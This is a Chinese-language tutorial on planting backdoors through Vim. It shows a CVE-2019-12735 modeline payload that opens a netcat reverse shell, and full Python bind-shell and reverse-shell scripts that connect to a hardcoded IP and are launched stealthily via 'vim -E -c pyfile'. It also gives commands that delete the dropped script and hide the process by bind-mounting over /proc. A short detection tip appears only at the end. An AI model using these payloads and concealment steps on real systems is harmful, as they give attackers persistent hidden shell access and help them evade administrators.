vim后门
vim modeline(CVE-2019-12735)
该漏洞存在于编辑器的 modeline功能,部分 Linux 发行版默认启用了该功能,macOS 是没有默认启用。 当 vim 打开一个包含了 vim modeline 注释行的文件时,会自动读取这一行的参数配置并调整自己的设置到这个配置。vim默认关闭modeline。
开启命令:
vim ~/.vimrc set modeline
当前目录下创建文件:
echo ':!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > hello.txt vim hello.txt uname -a
那么如果我们想要反弹shell:
:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 9999 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
然后进行连接即可。
vim python扩展后门
适用于安装了vim且安装了 python 扩展(绝大版本默认安装)的linux系统。
正向后门:
from socket import * import subprocess import os, threading, sys, time if __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',11)) server.listen(5) print ('waiting for connect') talk, addr = server.accept() print ('connect from',addr) proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)
反向后门:
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.0.114",14575)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]);
一般来说我们是做一个正向连接后门,因为反向后门的代码里面没有循环,并不能进行长时间的连接。
cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py $(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
其中,恶意脚本 dir.py 的内容可以是任何功能的后门,比如上面的监听本地11端口。
隐藏后门
(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) ##将nohup的执行结果输出到/dev/null中。 ##其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。 ## “2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。
将netstat -anpt 查看到的可疑连接隐藏起来,解决方法: 既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上在,在执行完正向连接的代码后将其删除:
(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
可以发现,我们已经在本地做了一个11端口的监听,接着就可以利用kali直接进行连接。
而且我们的恶意文件 dir.py 也已经进行删除清理。
当然,我们也可以利用进程隐藏来清理痕迹:
隐藏进程
mkdir null mount --bind null /proc/3036 ##为vim的进程号 netstat -anpt #mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。
在进行检测的时候可以通过 cat /proc/$$/mountinfo
看到挂载的目录:
通过
sudo umount /proc/进程号
来取消挂载。